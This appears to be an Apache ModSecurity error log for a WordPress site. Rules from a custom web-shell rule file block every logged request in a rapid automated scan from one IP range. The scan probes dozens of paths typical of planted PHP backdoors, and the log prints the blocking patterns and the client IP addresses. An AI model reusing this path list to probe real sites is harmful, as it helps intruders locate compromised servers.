[Mon May 25 23:12:36.304244 2026] [:error] [pid 53791:tid 53809] [client 194.5.82.23:40001] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/panel.php"] [unique_id "ahRm5CCRhhNTD40Nf1U39AAAAZA"]
[Mon May 25 23:12:36.516627 2026] [:error] [pid 62428:tid 62502] [client 194.5.82.51:31521] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "ahRm5JNosGBa7mui3VR7dwAAAJI"]
[Mon May 25 23:12:36.729047 2026] [:error] [pid 53791:tid 53801] [client 194.5.82.46:31755] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahRm5CCRhhNTD40Nf1U39QAAAYg"]
[Mon May 25 23:12:36.961203 2026] [:error] [pid 53791:tid 53803] [client 194.5.82.19:48973] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ahRm5CCRhhNTD40Nf1U39gAAAYo"]
[Mon May 25 23:12:37.175872 2026] [:error] [pid 62427:tid 62480] [client 194.5.82.30:43707] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/upload.php"] [unique_id "ahRm5fMUa83fc4GDyByPxgAAAVc"]
[Mon May 25 23:12:37.392904 2026] [:error] [pid 53791:tid 53815] [client 194.5.82.14:57841] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/"] [unique_id "ahRm5SCRhhNTD40Nf1U3-AAAAZY"]
[Mon May 25 23:12:37.603914 2026] [:error] [pid 3698:tid 3716] [client 194.5.82.35:43625] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/class.php"] [unique_id "ahRm5QtZBEwA4fyFLKMJlgAAARA"]
[Mon May 25 23:12:37.814270 2026] [:error] [pid 62428:tid 62485] [client 194.5.82.27:31845] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hello-plus/classes/ehp-bes.php"] [unique_id "ahRm5ZNosGBa7mui3VR7fQAAAIE"]
[Mon May 25 23:12:38.028556 2026] [:error] [pid 62428:tid 62489] [client 194.5.82.13:24683] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentythree/patterns/"] [unique_id "ahRm5pNosGBa7mui3VR7gAAAAIU"]
[Mon May 25 23:12:38.277755 2026] [:error] [pid 62428:tid 62498] [client 194.5.82.11:40061] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/themes.php"] [unique_id "ahRm5pNosGBa7mui3VR7gQAAAI4"]
[Mon May 25 23:12:38.498430 2026] [:error] [pid 62722:tid 62737] [client 194.5.82.8:54265] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-post/"] [unique_id "ahRm5qM6ssnLWYf6CVBfWAAAAE0"]
[Mon May 25 23:12:38.720360 2026] [:error] [pid 62426:tid 62446] [client 194.5.82.11:31443] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/edit-wolf.php"] [unique_id "ahRm5kj3D3Mo8ANpTRAzYgAAABA"]
[Mon May 25 23:12:39.022489 2026] [:error] [pid 62426:tid 62451] [client 194.5.82.13:60363] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/"] [unique_id "ahRm50j3D3Mo8ANpTRAzZAAAABU"]
[Mon May 25 23:12:39.385849 2026] [:error] [pid 3698:tid 3701] [client 194.5.82.49:32615] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "ahRm5wtZBEwA4fyFLKMJmAAAAQE"]
[Mon May 25 23:12:39.595745 2026] [:error] [pid 62428:tid 62502] [client 194.5.82.16:30565] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/cache/"] [unique_id "ahRm55NosGBa7mui3VR7hgAAAJI"]
[Mon May 25 23:12:39.805707 2026] [:error] [pid 62428:tid 62504] [client 194.5.82.32:33295] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/config.php"] [unique_id "ahRm55NosGBa7mui3VR7iQAAAJQ"]
[Mon May 25 23:12:40.016672 2026] [:error] [pid 62428:tid 62503] [client 194.5.82.47:25447] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ahRm6JNosGBa7mui3VR7igAAAJM"]
[Mon May 25 23:12:40.228198 2026] [:error] [pid 62428:tid 62491] [client 194.5.82.44:57171] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/root.php"] [unique_id "ahRm6JNosGBa7mui3VR7iwAAAIc"]
[Mon May 25 23:12:40.479155 2026] [:error] [pid 62426:tid 62447] [client 194.5.82.8:42443] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "ahRm6Ej3D3Mo8ANpTRAzbAAAABE"]
[Mon May 25 23:12:40.694100 2026] [:error] [pid 62426:tid 62449] [client 194.5.82.53:41549] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/admin.php"] [unique_id "ahRm6Ej3D3Mo8ANpTRAzbQAAABM"]
[Mon May 25 23:12:40.905176 2026] [:error] [pid 62426:tid 62452] [client 194.5.82.11:32541] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "ahRm6Ej3D3Mo8ANpTRAzbgAAABY"]
[Mon May 25 23:12:41.116839 2026] [:error] [pid 3698:tid 3708] [client 194.5.82.22:34915] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/"] [unique_id "ahRm6QtZBEwA4fyFLKMJmQAAAQg"]
[Mon May 25 23:12:41.368575 2026] [:error] [pid 62426:tid 62453] [client 194.5.82.47:22643] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wa/"] [unique_id "ahRm6Uj3D3Mo8ANpTRAzcAAAABc"]
[Mon May 25 23:12:41.590093 2026] [:error] [pid 62426:tid 62436] [client 194.5.82.49:52207] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/network/"] [unique_id "ahRm6Uj3D3Mo8ANpTRAzcQAAAAY"]
[Mon May 25 23:12:41.826345 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.31:29847] [client 194.5.82.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "ahRm6Uj3D3Mo8ANpTRAzcwAAABg"]
[Mon May 25 23:12:42.038588 2026] [:error] [pid 62426:tid 62439] [client 194.5.82.43:54857] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "ahRm6kj3D3Mo8ANpTRAzdQAAAAk"]
[Mon May 25 23:12:42.590670 2026] [:error] [pid 53791:tid 53799] [client 194.5.82.9:21487] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/wp-conflg.php"] [unique_id "ahRm6iCRhhNTD40Nf1U3_gAAAYY"]
[Mon May 25 23:12:42.864619 2026] [:error] [pid 62426:tid 62434] [client 194.5.82.43:65367] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/mah/function.php"] [unique_id "ahRm6kj3D3Mo8ANpTRAzfQAAAAQ"]
[Mon May 25 23:12:43.087956 2026] [:error] [pid 62426:tid 62436] [client 194.5.82.12:41481] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/"] [unique_id "ahRm60j3D3Mo8ANpTRAzfwAAAAY"]
[Mon May 25 23:12:43.301265 2026] [:error] [pid 62426:tid 62442] [client 194.5.82.28:43147] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ahRm60j3D3Mo8ANpTRAzgwAAAAw"]
[Mon May 25 23:12:43.517161 2026] [:error] [pid 62426:tid 62447] [client 194.5.82.26:48105] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-content/"] [unique_id "ahRm60j3D3Mo8ANpTRAzhQAAABE"]
[Mon May 25 23:12:43.731221 2026] [:error] [pid 62426:tid 62440] [client 194.5.82.36:56065] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/"] [unique_id "ahRm60j3D3Mo8ANpTRAzhgAAAAo"]
[Mon May 25 23:12:43.972371 2026] [:error] [pid 62515:tid 62523] [client 194.5.82.41:54743] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/t.php"] [unique_id "ahRm6xig0_XsOwmnrv9ozwAAAMY"]
[Mon May 25 23:12:44.186007 2026] [:error] [pid 62426:tid 62437] [client 194.5.82.42:37051] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/worksec.php"] [unique_id "ahRm7Ej3D3Mo8ANpTRAziAAAAAc"]
[Mon May 25 23:12:44.401800 2026] [:error] [pid 62427:tid 62479] [client 194.5.82.20:26067] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/development/"] [unique_id "ahRm7PMUa83fc4GDyByPxwAAAVY"]
[Mon May 25 23:12:44.697479 2026] [:error] [pid 62427:tid 62470] [client 194.5.82.28:45823] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/chosen.php"] [unique_id "ahRm7PMUa83fc4GDyByPyAAAAU0"]
[Mon May 25 23:12:44.910741 2026] [:error] [pid 62428:tid 62502] [client 194.5.82.21:64619] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/"] [unique_id "ahRm7JNosGBa7mui3VR7lAAAAJI"]
[Mon May 25 23:12:45.137584 2026] [:error] [pid 3698:tid 3715] [client 194.5.82.44:44033] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "ahRm7QtZBEwA4fyFLKMJoQAAAQ8"]
[Mon May 25 23:12:45.379540 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.38:49693] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-date/"] [unique_id "ahRm7Uj3D3Mo8ANpTRAzjAAAABg"]
[Mon May 25 23:12:45.614814 2026] [:error] [pid 62426:tid 62439] [client 194.5.82.31:52805] [client 194.5.82.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/lock360.php"] [unique_id "ahRm7Uj3D3Mo8ANpTRAzjQAAAAk"]
[Mon May 25 23:12:45.901062 2026] [:error] [pid 62426:tid 62448] [client 194.5.82.46:27941] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "ahRm7Uj3D3Mo8ANpTRAzjgAAABI"]
[Mon May 25 23:12:46.113856 2026] [:error] [pid 62426:tid 62440] [client 194.5.82.37:20443] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "ahRm7kj3D3Mo8ANpTRAzkAAAAAo"]
[Mon May 25 23:12:46.387362 2026] [:error] [pid 62426:tid 62437] [client 194.5.82.41:62871] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/chosen.php"] [unique_id "ahRm7kj3D3Mo8ANpTRAzkgAAAAc"]
[Mon May 25 23:12:46.598862 2026] [:error] [pid 62426:tid 62444] [client 194.5.82.38:52897] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/"] [unique_id "ahRm7kj3D3Mo8ANpTRAzlQAAAA4"]
[Mon May 25 23:12:46.818067 2026] [:error] [pid 53791:tid 53793] [client 194.5.82.17:48577] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "ahRm7iCRhhNTD40Nf1U3_wAAAYA"]
[Mon May 25 23:12:47.078909 2026] [:error] [pid 53791:tid 53803] [client 194.5.82.26:46677] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "ahRm7yCRhhNTD40Nf1U4AAAAAYo"]
[Mon May 25 23:12:47.289511 2026] [:error] [pid 53791:tid 53805] [client 194.5.82.47:53349] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/"] [unique_id "ahRm7yCRhhNTD40Nf1U4AQAAAYw"]
[Mon May 25 23:12:47.502400 2026] [:error] [pid 62428:tid 62505] [client 194.5.82.33:44533] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/customize-widgets/"] [unique_id "ahRm75NosGBa7mui3VR7lwAAAJU"]
[Mon May 25 23:12:47.712980 2026] [:error] [pid 62428:tid 62499] [client 194.5.82.12:43461] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/admin.php"] [unique_id "ahRm75NosGBa7mui3VR7mAAAAI8"]
[Mon May 25 23:12:48.011377 2026] [:error] [pid 62427:tid 62471] [client 194.5.82.46:50051] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/"] [unique_id "ahRm8PMUa83fc4GDyByPzQAAAU4"]
[Mon May 25 23:12:48.222568 2026] [:error] [pid 62426:tid 62438] [client 194.5.82.23:65431] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "ahRm8Ej3D3Mo8ANpTRAzmwAAAAg"]
[Mon May 25 23:12:48.519610 2026] [:error] [pid 53791:tid 53811] [client 194.5.82.32:38413] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ahRm8CCRhhNTD40Nf1U4BQAAAZI"]
[Mon May 25 23:12:50.286799 2026] [:error] [pid 3698:tid 3716] [client 194.5.82.22:39343] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/"] [unique_id "ahRm8gtZBEwA4fyFLKMJsgAAARA"]
[Mon May 25 23:12:50.502383 2026] [:error] [pid 62722:tid 62733] [client 194.5.82.24:33851] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/footnotes/"] [unique_id "ahRm8qM6ssnLWYf6CVBfXAAAAEk"]
